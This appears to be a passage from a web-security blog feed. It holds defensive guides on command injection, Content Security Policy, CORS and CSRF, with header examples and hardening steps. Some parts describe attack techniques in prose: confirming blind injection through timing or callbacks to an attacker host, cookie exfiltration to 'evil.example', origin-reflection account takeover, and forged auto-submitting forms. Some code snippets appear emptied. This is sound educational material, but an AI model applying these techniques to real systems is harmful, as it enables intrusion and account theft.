Validation reduces risk and is worth doing, and it is not the primary fix on its own. Attackers evade character blocklists with encoding and alternate syntax, and validation logic can have gaps. The reliable fix is to run programs directly with an argument array so no shell parses the input, with allowlist validation layered on top. **What is the difference between command injection and SQL injection?** They are the same class of bug with different interpreters. Command injection abuses the system shell; SQL injection abuses the database query planner. Both come from mixing untrusted data into text a machine parses as instructions, and both are cured by keeping data out of the instruction stream: argument arrays for commands, parameterized queries for SQL. **How do I exploit or confirm blind command injection with no output?** Confirm it through side channels. Inject a command that sleeps for a fixed time and watch for a matching delay in the response, or inject one that makes the server call out to a host you control and watch for the DNS or HTTP callback. Either result proves execution without any output, and the callback channel can also carry data out. **Is switching to an argument-array API always enough?** It ends the classic shell-metacharacter attack, which is the main win. Watch for two residual issues: a shell sneaking back in because some APIs spawn one when passed a single string or a shell flag, and argument injection where a controllable value poses as an option to the target program. Confirm no shell is invoked, use the end-of-options marker, and validate argument shapes. **How severe is command injection compared to other web bugs?** It sits among the most severe because a single confirmed command usually means the attacker can run any command the application process can, which is the definition of remote code execution. From there an attacker can read secrets, move deeper into the network, install persistence, and pivot to other systems. That is why it is treated as a top-severity finding whenever it is present, and why the direct fix of removing the shell is worth prioritizing over partial mitigations. **Why prefer a native library over shelling out at all?** Most tasks that people spawn commands for, such as DNS lookups, file operations, and image processing, have an in-process library that does the same job with no command line involved. Using it removes the shell, the argument-parsing surface, and the process-spawn overhead in one move. Shelling out should be the last resort, reserved for tools with no library equivalent, and even then only through an argument array. Command injection is severe but genuinely avoidable. The whole vulnerability rests on handing user input to a shell, so the whole fix is to stop doing that: run programs directly with argument arrays, prefer native libraries over shelling out, allowlist the input, and drop privileges. Do those and the metacharacters that would have broken out have nothing left to break out of. ## Related guides - [SQL Injection Explained](/sql-injection-explained) - [Path Traversal Explained](/path-traversal-explained) - [Input Validation Guide](/input-validation-guide) - [OWASP Top 10 Explained](/owasp-top-10-explained) - [Secure Coding Practices](/secure-coding-practices) ### Sources - OWASP: Command Injection (OWASP): https://owasp.org/www-community/attacks/Command_Injection - PortSwigger Web Security Academy: OS Command Injection (PortSwigger): https://portswigger.net/web-security/os-command-injection - OWASP OS Command Injection Defense Cheat Sheet (OWASP): https://cheatsheetseries.owasp.org/cheatsheets/OS_Command_Injection_Defense_Cheat_Sheet.html --- ## Content Security Policy Explained: Stopping XSS with CSP > How Content Security Policy works: the directives that matter, how it blocks XSS and injection, nonces vs hashes, and a safe report-only rollout. - URL: https://blog.pwnsy.com/content-security-policy-explained - Date: 2026-07-24 - Updated: 2026-07-24 - Difficulty: intermediate - Category: web-security - Tags: csp, web-security, xss, security-headers, appsec - Related: [Leaked API Keys Explained: How Secrets Leak and What to Do](https://blog.pwnsy.com/leaked-api-keys-explained), [Webhook Signature Verification: How It Works and Why It Fails](https://blog.pwnsy.com/webhook-signature-verification), [Credential Stuffing Explained: How Reused Passwords Get Exploited](https://blog.pwnsy.com/credential-stuffing-explained) ### TL;DR - Content Security Policy is an allowlist the browser enforces: you declare which sources of script, style, and other content are legitimate, and the browser refuses everything else. - Its main job is to stop cross-site scripting from executing, so an injected script has no permitted source and never runs. - A strong modern policy is built on nonces or hashes for scripts rather than the 'unsafe-inline' keyword, which defeats the point. - Roll it out in Content-Security-Policy-Report-Only first, read the violation reports, then switch to enforcing once the noise is gone. ### Key Takeaways - CSP is delivered as a response header (or a meta tag) and lists source expressions per directive, with default-src acting as the fallback. - script-src is the security-critical directive: 'self' plus a per-request nonce blocks injected inline scripts while allowing your own. - A nonce is a random value regenerated on every response; a hash pins the exact bytes of a known inline script. Both let you drop 'unsafe-inline'. - frame-ancestors controls who may embed your page and replaces the older X-Frame-Options header for clickjacking defense. - Report-Only mode and a reporting endpoint let you tune a policy against real traffic before it can break anything. A cross-site scripting bug lets an attacker run their JavaScript in your users' browsers, with all the access your own scripts have. Content Security Policy is the browser feature that can stop that injected script from running even after the bug has put it on the page. It works as an allowlist. You tell the browser exactly which sources of script, style, images, and other content are legitimate, and the browser blocks everything outside that list. CSP is a defense-in-depth control. It does not fix the injection flaw that let the payload onto the page. It removes the payload's ability to do anything once it lands, which is often the difference between a logged alert and a stolen session. (Fix the injection too; CSP is the safety net under it.) ## What a policy looks like A policy travels in the `Content-Security-Policy` response header. It is a set of directives, each naming a resource type and the sources allowed for it, separated by semicolons. ``` Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; object-src 'none' ``` Each directive takes a list of source expressions. Common ones are `'self'` (the page's own origin), an explicit host like `https://cdn.example.com`, the keywords `'none'` and `'unsafe-inline'`, a scheme like `data:`, and the nonce and hash forms covered below. The `default-src` directive is the fallback: any fetch directive you do not set explicitly inherits from it, so a tight `default-src 'self'` gives you a sane baseline before you loosen individual pieces. ## The directives that matter You do not need every directive. A handful carry most of the security value. | Directive | What it controls | Typical value | |---|---|---| | default-src | Fallback for most fetch directives | `'self'` | | script-src | Where scripts may load and run from | `'self'` plus a nonce | | style-src | Where stylesheets may load from | `'self'` | | img-src | Image sources | `'self' data:` | | connect-src | Targets for fetch, XHR, WebSocket | `'self' https://api.example.com` | | frame-ancestors | Who may embed this page in a frame | `'none'` or `'self'` | | base-uri | Allowed values for the page base URL | `'self'` | | form-action | Where forms may submit | `'self'` | | object-src | Plugin content | `'none'` | | report-to | Where violation reports are sent | a named reporting endpoint | Two of these blunt attacks that have nothing to do with script loading. `frame-ancestors 'none'` stops your page from being framed, which is the modern replacement for the `X-Frame-Options` header and the core clickjacking defense. `base-uri 'self'` stops an injected base tag from silently redirecting every relative URL on the page to an attacker's host. ## How CSP stops XSS Reflected and stored XSS both work by getting the browser to treat attacker data as executable script. CSP breaks that in a few ways at once. Inline event handlers and inline script blocks are refused unless they carry a matching nonce or hash. `eval` and its relatives are refused unless you opt in with `'unsafe-eval'`. Scripts loaded from an origin not on the allowlist are refused outright. An attacker who injects `` finds it has no permitted source, so the browser never executes it and files a violation report instead. The weak point is `'unsafe-inline'`. If your `script-src` includes it, every inline script on the page is allowed, which is exactly what an injected inline payload is. A policy with `'unsafe-inline'` in `script-src` provides almost no XSS protection. The whole modern approach exists to let you keep the inline scripts you wrote while blocking the ones an attacker injects. ## Beyond XSS: containing exfiltration Blocking the injected script from running is the first win. CSP also limits the damage when script does run, which matters against payloads that arrive through a route CSP cannot stop, such as a compromised third-party dependency. The `connect-src` directive is the lever here. It controls where the page may open network connections, so even a script that executes cannot phone stolen data home to an attacker's server unless that host is on the allowlist. A tight `connect-src 'self' https://api.example.com` turns "steal the session and POST it out" into a blocked request. Two more directives clean up common weaknesses. `form-action 'self'` stops an injected form from submitting credentials to an external host. `upgrade-insecure-requests` rewrites any stray `http://` subresource to `https://` before it is fetched, closing passive mixed-content leaks. None of these replace fixing the injection, and together they shrink the blast radius of the ones you miss. ## Nonces versus hashes There are two ways to allow specific inline scripts without opening the door to all of them. A **nonce** is a random, unguessable value your server generates fresh on every response. You put it in the header and on each script tag you trust: ``` Content-Security-Policy: script-src 'nonce-r4nd0m2026' 'self' ``` ```html ``` The browser runs only scripts whose `nonce` attribute matches the header value. Because the value changes every response and never appears in the page an attacker can pre-read, injected script cannot guess it. The catch is that the value must be genuinely random per response, so nonces suit server-rendered pages. A **hash** pins the exact content of a known inline script. You compute the SHA-256 of the script bytes and list it: ``` Content-Security-Policy: script-src 'sha256-Base64HashOfTheScript' 'self' ``` The browser hashes each inline script and runs only those whose digest is on the list. Hashes suit static content where the script text does not change, since any edit changes the hash. Nonces suit dynamic pages. The `'strict-dynamic'` keyword pairs with either. It says that a script already trusted by a nonce or hash may load further scripts, and the browser should trust those by propagation rather than by host allowlist. This lets a modern bundler load its chunks without you enumerating every CDN path, while injected script, which is never trusted in the first place, gets no such propagation. Adding `'unsafe-inline'` to `script-src` allows every inline script, which is exactly what an XSS payload becomes. A nonce or hash allowlist gives you the inline scripts you control while still blocking injected ones. Browsers that understand nonces ignore `'unsafe-inline'` when a nonce is present, so you can keep it purely as a fallback for very old clients without weakening current ones. ## Report-Only and a safe rollout Shipping a strict policy blind will break something: a third-party widget, an inline handler you forgot, a stray CDN. CSP has a mode for exactly this. The `Content-Security-Policy-Report-Only` header applies a policy without enforcing it. Nothing is blocked; every violation is reported. You watch the reports, fix the real gaps, and only then move the policy into the enforcing header. Reporting is wired up with the `report-to` directive, which names an endpoint defined by a `Reporting-Endpoints` header. The browser posts a JSON report there each time the policy is violated, telling you the blocked resource and the directive that stopped it. In report-only mode this is your tuning signal. In enforcing mode it is your early warning that an injection attempt (or a broken deploy) is happening in production. A workable sequence: 1. Deploy a strict candidate policy in `Content-Security-Policy-Report-Only`. 2. Collect reports from real traffic for a week or two. 3. Resolve each legitimate violation by adding a nonce, a hash, or a specific source, never by adding `'unsafe-inline'`. 4. Move the tuned policy into the enforcing `Content-Security-Policy` header. 5. Keep a report-only header alongside it to test your next change safely. Our Exploit Intelligence dashboard tracks live injection and cross-site scripting vulnerabilities and the payloads seen against them, which helps you decide which script and connect sources a strict policy most needs to lock down first. ## A worked example: an injected script meeting a policy Following one XSS payload as it hits a strict policy makes the mechanism concrete. Suppose an attacker finds a reflected injection point and manages to place `` into the rendered page. The page ships with this header: ``` Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-a1b2c3'; connect-src 'self' https://api.example.com; object-src 'none'; base-uri 'self' ``` Walk through what the browser does with the injected tag. 1. **The script has no permitted source.** The policy's `script-src` allows scripts from the page's own origin and any inline script carrying the nonce `a1b2c3`. The injected inline script carries no nonce, because the attacker never saw the per-response value. It matches neither allowed form. 2. **The browser refuses to execute it.** Since the inline script is not covered by a nonce, a hash, or `'unsafe-inline'` (which the policy deliberately omits), the browser does not run it. The payload sits in the DOM as inert text. 3. **A violation report fires.** The browser records that `script-src` blocked an inline script and, if a reporting endpoint is configured, posts a report describing the violation. In production that report is an early warning that an injection attempt is happening. 4. **Even a successful script would be contained.** Imagine the attacker instead smuggled their code into a route CSP cannot stop, such as a trusted script that was itself compromised. The `connect-src` directive still allows connections only to the page's origin and one named API host. The attempt to `fetch` the cookie to `evil.example` is blocked because that host is not on the connect allowlist. The exfiltration fails at the network step. The example shows CSP working at two layers. First it stops the injected script from ever running. Then, as a fallback for payloads that arrive some other way, it constrains what a running script can reach. An attacker needs to defeat both the script directive and the connection directive to turn an injection into stolen data, which is a much taller order than exploiting the injection alone. ## Detection signals A deployed policy is also a sensor. The violation reports it generates, and a few related signals, tell you when something is wrong. - **A spike in script-src violations from real users.** In enforcing mode, a sudden rise in blocked inline scripts often means an active injection attempt in production, or a deploy that shipped an inline script without its nonce. Either way it deserves immediate attention. - **connect-src violations to unfamiliar hosts.** Reports of blocked connections to domains you do not recognize can indicate a compromised dependency trying to exfiltrate data to a host the policy refuses. - **A flood of violations right after a release.** A new analytics tag, payment widget, or CDN that the policy was not updated for produces a burst of legitimate violations. This is the signal that a code change outran its policy change. - **Reports naming a directive you thought was unused.** Violations against base-uri or form-action can surface injection techniques aimed at hijacking relative URLs or redirecting form submissions, which are easy to overlook. - **Silence where you expected reports.** If a report-only rollout produces no reports at all, verify the reporting endpoint is actually receiving posts. No signal often means broken wiring rather than a clean policy. The reporting endpoint turns CSP from a static wall into a feedback loop. In report-only mode the reports tune the policy, and in enforcing mode they warn you about both attacks and broken deploys. ## Common mistakes CSP is easy to deploy in a way that looks protective and is not. The recurring errors: - **Leaving `'unsafe-inline'` in `script-src`.** This single keyword allows every inline script, which is exactly what an injected payload becomes. A policy with it provides almost no XSS protection, whatever else it contains. - **Allowlisting a whole CDN that hosts everything.** Permitting a broad host that serves arbitrary user or library content can let an attacker load a script from a path on that same host, defeating the allowlist. Narrow sources beat broad ones. - **Forgetting the non-script directives.** A policy that locks down scripts but leaves `object-src`, `base-uri`, `frame-ancestors`, and `form-action` unset leaves open lanes for plugin content, base-tag hijacking, clickjacking, and form exfiltration. - **Reusing a nonce across responses.** A nonce only works if it is random and fresh every response. A static or predictable nonce is guessable, and an injected script can simply include it, which collapses the protection. - **Treating CSP as the fix for XSS.** CSP is defense in depth. It does not repair the injection flaw. Output encoding and input validation still have to fix the bug; CSP is the safety net for the cases those miss. - **Enforcing a strict policy without a report-only trial.** Shipping straight to enforcement almost always breaks a legitimate widget or inline handler. The report-only stage exists to find those against real traffic before anything is blocked. ## How CSP relates to other header defenses CSP overlaps with several older security headers, and knowing which it replaces avoids redundant or conflicting configuration. | Protection | Older mechanism | CSP equivalent | |---|---|---| | Clickjacking (framing control) | X-Frame-Options | frame-ancestors | | Mixed-content upgrade | manual rewriting | upgrade-insecure-requests | | Restricting where scripts load | none, relied on code review | script-src with nonces or hashes | | Limiting outbound connections | none | connect-src | | Restricting form targets | none | form-action | The `frame-ancestors` directive is the clearest case: it supersedes `X-Frame-Options` and is more expressive, letting you name multiple permitted ancestors. Where a modern CSP directive exists, it is generally the one to rely on, with the legacy header kept only as a fallback for very old clients that do not understand CSP. ## How it evolved CSP grew out of a simple observation: escaping output stops most XSS, and the rest slips through, so browsers needed a second line that could refuse injected script even after a bug put it on the page. The earliest version leaned on host allowlists, telling the browser which origins could serve scripts. That worked for cleanly separated sites and struggled with the reality of inline scripts and event handlers, which host allowlists cannot distinguish from injected ones. The answer was nonces and hashes, which let a page mark the specific inline scripts it trusts while refusing everything else, so a site could keep its own inline code and still block an attacker's. Layered on top, the `'strict-dynamic'` keyword let a trusted script load its own further scripts by propagation, which fit how modern bundlers actually work and removed the need to enumerate every CDN path. The direction of travel across versions has been consistent: away from brittle host allowlists and toward trusting explicit, per-response markers, because that is what actually separates first-party script from injected script. Reporting matured alongside enforcement. The report-only header and a structured reporting endpoint turned policy authoring from guesswork into a measured rollout, where a candidate policy is tested against live traffic and tuned before it can break anything. That workflow is now the standard way a strict policy reaches production. ## How to secure it - **Start from `default-src 'self'`** and open only the specific directives you need. A tight fallback means a directive you forget still fails closed. - **Build `script-src` on nonces or hashes**, never `'unsafe-inline'`. Add `'strict-dynamic'` if a bundler needs to load its own chunks. - **Set the non-script directives too.** `frame-ancestors 'none'` for clickjacking, `base-uri 'self'` to block base-tag hijacking, `object-src 'none'` to kill legacy plugin vectors, `form-action 'self'` to stop form exfiltration. - **Add a reporting endpoint** and read what comes back, in both report-only and enforcing modes. - **Roll out in report-only first.** Tune against real traffic, then enforce. - **Treat CSP as a layer, not the fix.** Keep escaping output and validating input. CSP catches what those miss. - **Review the policy when the app changes.** A new analytics tag, payment widget, or CDN adds a source your policy will block. Fold CSP into your release checklist so a legitimate change ships with its source, tested first in report-only. A good policy is boring to read and quietly refuses everything you did not sanction. Get the script directive right, wire up reporting, and roll it out through report-only, and CSP turns a working XSS bug into a blocked request and a log line. ## Frequently asked questions **Does CSP fix cross-site scripting?** No, it contains it. CSP does not repair the injection flaw that let a payload onto the page. It stops that payload from executing and limits what it can reach if it does run. Output encoding and input validation still have to fix the underlying bug. CSP is the defense-in-depth layer that catches the cases those miss. **Should I use a nonce or a hash?** Use a nonce for server-rendered pages where you can generate a fresh random value on every response, which is the common case. Use a hash for static inline scripts whose text never changes, since any edit changes the hash. Both let you drop `'unsafe-inline'` and allow only the specific inline scripts you trust. The deciding factor is whether the content is dynamic or static. **Why is `'unsafe-inline'` so harmful in script-src?** Because it allows every inline script on the page, and an injected XSS payload is an inline script. A policy that includes it in `script-src` gives an attacker's inline code the same permission as your own, which removes almost all of CSP's XSS value. Browsers that understand nonces ignore `'unsafe-inline'` when a nonce is present, so you can keep it only as a fallback for very old clients. **Can I add CSP with a meta tag instead of a header?** You can deliver a policy through a meta tag, and it has limits. Some directives, notably `frame-ancestors` and the reporting directives, only work when the policy arrives as a response header. The header is the more capable and recommended delivery method, with the meta tag reserved for cases where you cannot set headers. **Will CSP break my third-party widgets?** It can, if their sources are not on your allowlist, which is exactly why the report-only rollout exists. Deploy the policy in report-only mode first, watch the violation reports for legitimate widgets and CDNs, and add their specific sources before you enforce. Resolve each real violation with a nonce, a hash, or a narrow source, never by adding `'unsafe-inline'`. **What does `connect-src` protect against that `script-src` does not?** `script-src` stops an injected script from running. `connect-src` limits where any running script may open network connections, so even a script that executes through some route CSP could not block cannot send stolen data to an arbitrary host. It is the containment layer that turns a successful injection into a blocked exfiltration request. **Does `frame-ancestors` replace X-Frame-Options?** Yes, for browsers that support it. `frame-ancestors` controls who may embed your page and is more expressive than `X-Frame-Options`, allowing multiple named ancestors. Keep `X-Frame-Options` only as a fallback for very old clients that do not understand the CSP directive. **What does `'strict-dynamic'` actually do?** It says a script already trusted by a nonce or hash may load further scripts, and the browser should trust those by propagation rather than by checking them against the host allowlist. This lets a modern bundler pull in its own chunks without you enumerating every path, while injected script, which is never trusted in the first place, receives no such propagation and is still blocked. ## Related guides - [HTTP Security Headers Reference](/http-security-headers-reference) - [XSS Attacks Explained](/xss-attacks-explained) - [Clickjacking Explained](/clickjacking-explained) - [HSTS Explained](/hsts-explained) ### Sources - Content Security Policy Level 3 (W3C): https://www.w3.org/TR/CSP3/ - Content Security Policy Cheat Sheet (OWASP): https://cheatsheetseries.owasp.org/cheatsheets/Content_Security_Policy_Cheat_Sheet.html - OWASP Secure Headers Project (OWASP): https://owasp.org/www-project-secure-headers/ --- ## CORS Explained: The Same-Origin Policy & How to Relax It > How the same-origin policy protects users, how CORS shares responses across origins, preflight and credentials, and how to configure it safely. - URL: https://blog.pwnsy.com/cors-explained - Date: 2026-07-24 - Updated: 2026-07-24 - Difficulty: intermediate - Category: web-security - Tags: cors, web-security, same-origin-policy, api-security, appsec - Related: [Leaked API Keys Explained: How Secrets Leak and What to Do](https://blog.pwnsy.com/leaked-api-keys-explained), [Webhook Signature Verification: How It Works and Why It Fails](https://blog.pwnsy.com/webhook-signature-verification), [Credential Stuffing Explained: How Reused Passwords Get Exploited](https://blog.pwnsy.com/credential-stuffing-explained) ### TL;DR - The same-origin policy stops JavaScript on one origin from reading responses from another, which is what keeps a random site from reading your logged-in email. - CORS is the standard way a server opts in to sharing its responses with specific other origins, using response headers the browser checks. - Some requests trigger a preflight OPTIONS check first, where the browser asks permission before sending the real request. - The dangerous mistake is combining a reflected Origin with credentialed requests, which lets any site read authenticated responses. Allow a fixed list of origins instead. ### Key Takeaways - An origin is the triple of scheme, host, and port. Any difference in one makes it a different origin. - The same-origin policy blocks reading cross-origin responses from script; it does not block the request being sent, which is why CSRF is a separate problem. - Access-Control-Allow-Origin names the single origin allowed to read the response, and it should echo one entry from your allowlist, never an arbitrary reflected value. - Preflight is an automatic OPTIONS request the browser sends for non-simple methods, custom headers, or certain content types. - Access-Control-Allow-Credentials: true cannot be combined with a wildcard origin, and combining it with a reflected origin is an account-takeover risk. Open your bank in one tab and a stranger's website in another. The stranger's JavaScript cannot read your bank balance, even though both pages run in the same browser with access to the same cookies. The rule that guarantees this is the same-origin policy, and it is one of the load-bearing walls of web security. Cross-Origin Resource Sharing, CORS, is the controlled way to make a hole in that wall when you actually need one. CORS confuses people because the browser reports its failures as errors on the page making the request, which makes it look like a bug in your frontend. It is a security boundary doing its job. Understanding what the boundary protects makes the header configuration obvious. ## What an origin is An origin is the combination of three things: the scheme, the host, and the port. Two URLs share an origin only if all three match. RFC 6454 defines this precisely, and the practical effect is stricter than most people guess. | URL compared to `https://app.example.com` | Same origin? | Why | |---|---|---| | `https://app.example.com/data` | Yes | Path does not affect origin | | `http://app.example.com` | No | Different scheme | | `https://api.example.com` | No | Different host | | `https://app.example.com:8443` | No | Different port | | `https://example.com` | No | Different host, subdomain counts | A different subdomain is a different origin. A different port is a different origin. This strictness is the point: it makes the boundary simple to reason about. ## What the same-origin policy actually blocks The policy is narrower than it first appears. It stops script on origin A from reading responses served by origin B. It does not stop the browser from sending a request to origin B, and it does not stop the browser from attaching origin B's cookies to that request. That distinction matters. Your page can still submit a form to another origin, load an image from it, or run a script from it. What the page cannot do is read back the response text with JavaScript. So the policy protects the confidentiality of cross-origin responses. It does nothing to stop a cross-origin request from being sent with your credentials, which is precisely why cross-site request forgery is a separate class of bug with its own defenses. ## How CORS relaxes it When your frontend on one origin needs to read an API on another origin, the server declares that it consents. It does this with response headers the browser inspects before handing the response to your script. The central one is `Access-Control-Allow-Origin`. If your API returns: ``` Access-Control-Allow-Origin: https://app.example.com ``` then a page on `https://app.example.com` is allowed to read that response. A page on any other origin is refused by the browser. The server made a deliberate, narrow grant. The browser divides cross-origin requests into two kinds. A **simple request** goes straight out, and the browser checks the response headers afterward to decide whether the calling script may read the body. A request counts as simple when it uses `GET`, `HEAD`, or `POST`, carries only a short list of safe headers, and (for `POST`) uses a content type of `application/x-www-form-urlencoded`, `multipart/form-data`, or `text/plain`. Anything outside that set triggers a preflight. ## The preflight check For requests that could have side effects the browser cannot safely make speculatively (a `PUT`, a `DELETE`, a JSON body, a custom header), the browser sends a preflight first: an `OPTIONS` request that asks the server for permission before the real one goes out. ``` OPTIONS /orders HTTP/1.1 Origin: https://app.example.com Access-Control-Request-Method: DELETE Access-Control-Request-Headers: authorization, content-type ``` The server answers with what it permits: ``` Access-Control-Allow-Origin: https://app.example.com Access-Control-Allow-Methods: GET, POST, DELETE Access-Control-Allow-Headers: authorization, content-type Access-Control-Max-Age: 600 ``` Only if the preflight approves the method and headers does the browser send the real request. `Access-Control-Max-Age` lets the browser cache that approval so it does not preflight every call. | Header | Direction | Purpose | |---|---|---| | Origin | Request | The origin making the call | | Access-Control-Request-Method | Preflight request | The method the real request will use | | Access-Control-Request-Headers | Preflight request | The headers the real request will send | | Access-Control-Allow-Origin | Response | The single origin allowed to read the response | | Access-Control-Allow-Methods | Preflight response | Methods the server permits | | Access-Control-Allow-Headers | Preflight response | Request headers the server permits | | Access-Control-Allow-Credentials | Response | Whether cookies and auth may be included | | Access-Control-Expose-Headers | Response | Which response headers script may read | | Access-Control-Max-Age | Preflight response | How long to cache the preflight result | One header on that list surprises people. By default, script on another origin can read only a small set of safe response headers, even after a successful CORS response. If your frontend needs to read a custom header, say a pagination total or a request identifier, the server has to name it in `Access-Control-Expose-Headers`. This is the same allowlist principle running in the other direction: the browser exposes only what the server explicitly permits. Understanding this also demystifies the errors. When a CORS request fails, the browser blocks your script from reading the response and reports a CORS error in the console of the page that made the call. The request often reached the server and the server often answered; the browser simply refused to hand the answer back because the headers did not grant permission. So the fix is almost always on the server that owns the resource, adjusting the response headers, rather than in the frontend that received the error. ## Credentials change the rules By default the browser does not send cookies or HTTP auth on cross-origin requests, and it does not expose the response if it did. To include credentials, the frontend opts in (for example `fetch(url, { credentials: 'include' })`), and the server must return `Access-Control-Allow-Credentials: true`. The specification adds a hard constraint here: when credentials are allowed, `Access-Control-Allow-Origin` may not be the wildcard `*`. It must name a specific origin. This exists to stop a server from accidentally telling every site on the internet that it may read authenticated responses. Echoing back whatever arrives in the `Origin` request header and pairing it with `Access-Control-Allow-Credentials: true` tells the browser that any site may read authenticated responses from your API. That combination turns CORS into an account-takeover primitive: a malicious page reads a victim's data straight from your API using the victim's own session. Allow only a fixed list of known origins, compare against it exactly, and never reflect an arbitrary origin alongside credentials. ## Common misconfigurations Most CORS vulnerabilities come from trying to be flexible about which origins to accept. A few patterns recur. - **Reflecting the Origin header** with credentials, covered above, is the headline mistake and the most dangerous. - **Trusting the `null` origin.** Some setups add `null` to the allowlist to support local files or sandboxed frames. An attacker can make requests present a `null` origin from a sandboxed iframe, so `Access-Control-Allow-Origin: null` with credentials is effectively a wildcard. - **Sloppy subdomain matching.** A check that accepts anything ending in `example.com` will also accept `evil-example.com` or `example.com.attacker.net`. Match origins against a precise list, not a loose substring or a weak regex. - **Wildcard with credentials.** Browsers reject `Access-Control-Allow-Origin: *` when credentials are requested, so some servers "fix" this by reflecting the origin, which reintroduces the first problem. If you need credentials, you need a specific allowlisted origin, full stop. - **Treating CORS as access control.** A permissive policy does not grant access by itself, and a strict one does not authorize anything. CORS decides which origins may read a browser response. Authentication and authorization on the endpoint are separate and must hold regardless. ## How to configure it safely The safe pattern is deny-by-default with a short, explicit allowlist. 1. **Keep a fixed list of trusted origins** in configuration. On each request, check the incoming `Origin` against that list. If it matches, echo that exact origin back in `Access-Control-Allow-Origin`. If it does not, send no CORS headers at all. 2. **Add `Vary: Origin`** whenever you set the allow-origin dynamically, so caches do not serve one origin's approval to another. 3. **Never pair credentials with a wildcard or a reflected origin.** If a route needs credentials, it needs a specific, allowlisted origin. 4. **Allow the minimum methods and headers.** List only the methods and request headers your API actually uses, not a permissive catch-all. 5. **Do not treat CORS as authorization.** It controls which origins may read a browser response. It is not a substitute for authentication and access control on the API itself, which must stand on their own. Our Exploit Intelligence dashboard tracks the real-world API and access-control weaknesses attackers chain together, which is useful context when you decide how tightly to scope the origins, methods, and credentials your endpoints permit. ## A worked example: tracing one preflighted request Walk through a single call from a frontend on `https://app.example.com` that deletes an order through an API on `https://api.example.com`. The frontend runs `fetch` with method `DELETE`, an `Authorization` header carrying a token, and `credentials: 'include'`. The `DELETE` method is not on the simple list, and the `Authorization` header is not a safe header, so the browser does not send the delete immediately. It sends a preflight first: ``` OPTIONS /orders/42 HTTP/1.1 Host: api.example.com Origin: https://app.example.com Access-Control-Request-Method: DELETE Access-Control-Request-Headers: authorization ``` Notice that no `Authorization` header and no cookies ride on the preflight. The preflight is a permission question, so it carries no credentials and no body. The server receives it, checks the incoming `Origin` against its configured allowlist, finds `https://app.example.com` on the list, and answers: ``` HTTP/1.1 204 No Content Access-Control-Allow-Origin: https://app.example.com Access-Control-Allow-Methods: GET, POST, DELETE Access-Control-Allow-Headers: authorization Access-Control-Allow-Credentials: true Access-Control-Max-Age: 600 Vary: Origin ``` The browser reads that response and checks three things. The requested method `DELETE` appears in the allowed methods. The requested header `authorization` appears in the allowed headers. Credentials are permitted and the allow-origin names a specific origin rather than the wildcard, which the specification requires when credentials are involved. All three pass, so the browser sends the real request, this time with the `Authorization` header and any cookies attached: ``` DELETE /orders/42 HTTP/1.1 Host: api.example.com Origin: https://app.example.com Authorization: Bearer ... ``` The server deletes the order and returns a normal response that again carries `Access-Control-Allow-Origin: https://app.example.com` and `Access-Control-Allow-Credentials: true`. Only because those headers are present does the browser hand the response body back to the calling script. Because the server cached the preflight approval for 600 seconds with `Access-Control-Max-Age`, the next delete within that window skips the `OPTIONS` round trip entirely. A preflight tells the browser whether the real request is allowed to be sent and read from script. It does not authenticate the user and it does not authorize the action on the server. The server must still check the token on the real `DELETE` and confirm the user may delete that order. A passing preflight with a valid token still needs an access-control check on the resource itself, because CORS decides which origins may read a browser response, and it says nothing about who is allowed to perform the action. ## How CORS evolved Before CORS existed, the same-origin policy was close to absolute for reading responses, and developers reached for awkward workarounds to share data across origins. The most common was JSONP, which abused the fact that a ` ``` No interaction beyond visiting the page. For requests that use `GET`, it can be even simpler: an `` tag whose `src` points at the state-changing URL is enough. ## What CSRF can and cannot do CSRF forces the victim's browser to send a request. It does not let the attacker read the response. The same-origin policy still stops the attacker's page from reading what `bank.example` sends back. This shapes what CSRF is good for. | Property | CSRF | |---|---| | Reads sensitive data | No, the response is invisible to the attacker | | Performs state-changing actions | Yes, this is the whole point | | Needs the victim's password | No, it rides an existing session | | Needs the victim to be logged in | Yes, at the target site | | Works against bearer-token APIs | Only if the token is sent automatically, like a cookie | Because CSRF is blind, its value lives entirely in side effects: changing an account email so a password reset can be captured later, transferring funds, adding an attacker's key to an account, changing a delivery address, or toggling a security setting. On MITRE ATT&CK the broader pattern of abusing valid browser sessions relates to techniques around session and web abuse, but CSRF itself is a client-trust problem specific to how cookies are sent. ## Why cookies are the root cause The reason CSRF exists at all is that cookie authentication is ambient. The browser decides to send the session cookie based on the destination of the request, not on which code initiated it. Any page, anywhere, can cause your browser to make a request to the target, and the cookie tags along. Bearer tokens sent in an `Authorization` header behave differently. The browser does not attach them automatically. An attacker's page cannot set that header on a cross-site request to another origin, so a pure header-token API is not vulnerable to classic CSRF. The catch is that many single-page apps store tokens in cookies for convenience, which quietly reintroduces the problem. CSRF makes a victim's browser send a request without reading the reply. Cross-site scripting runs attacker code inside your origin and can read anything the user can. If an attacker has XSS on your site, no CSRF token saves you, because their script runs in your context and can read the token. Fix XSS first, then treat CSRF defense as protection for everything else. ## The defenses that work Every effective CSRF defense proves one thing: that the state-changing request genuinely came from your own application and not from a third-party page. There are two mainstream ways to prove it. ### Anti-CSRF tokens (synchronizer token pattern) The server generates a random, unpredictable token, ties it to the user's session, and embeds it in every form: ``` ``` When the request comes back, the server checks that the submitted token matches the one bound to the session. An attacker's page cannot read the token (same-origin policy blocks it) and cannot guess it (it is random), so it cannot forge a valid request. This is the strongest and most widely used control. Most web frameworks ship it built in and enabled. ### Double-submit cookie When you do not want to store per-session tokens server-side, the double-submit pattern offers a stateless option. The server sets a random value in a cookie and the application also sends that same value as a request header or form field. On each request, the server checks the two match. An attacker cannot read or set the cookie value for your origin, so they cannot make the two sides agree. It is weaker than a synchronizer token in some edge cases (subdomain and cookie-scoping issues), so pair it with other controls. ### SameSite cookies The `SameSite` cookie attribute tells the browser when to send a cookie on cross-site requests. It is the most important modern layer: | Value | Behavior | |---|---| | `Strict` | Cookie is never sent on any cross-site request, including top-level navigation | | `Lax` | Cookie is sent on top-level navigation (a link click) but not on cross-site POST, images, or iframes | | `None` | Cookie is always sent cross-site, and must be paired with `Secure` | Modern browsers default to `Lax` when no attribute is set, which alone blocks a large share of cross-site POST CSRF. Set it explicitly. Use `Strict` for the most sensitive session cookies, accepting that a user following a link from an external site starts logged out. ### Other useful checks - **Verify the Origin and Referer headers** for state-changing requests and reject those from unexpected sources. This is a solid secondary check because these headers are set by the browser and cannot be forged by an attacker's page. - **Require re-authentication or a step-up** (password, or a fresh factor) for the highest-value actions, so a single forged request is not enough. See our [two-factor authentication guide](/two-factor-authentication-guide) for how step-up factors fit in. - **Avoid using GET for anything that changes state.** A state-changing GET can be triggered by an image tag and is far easier to smuggle. 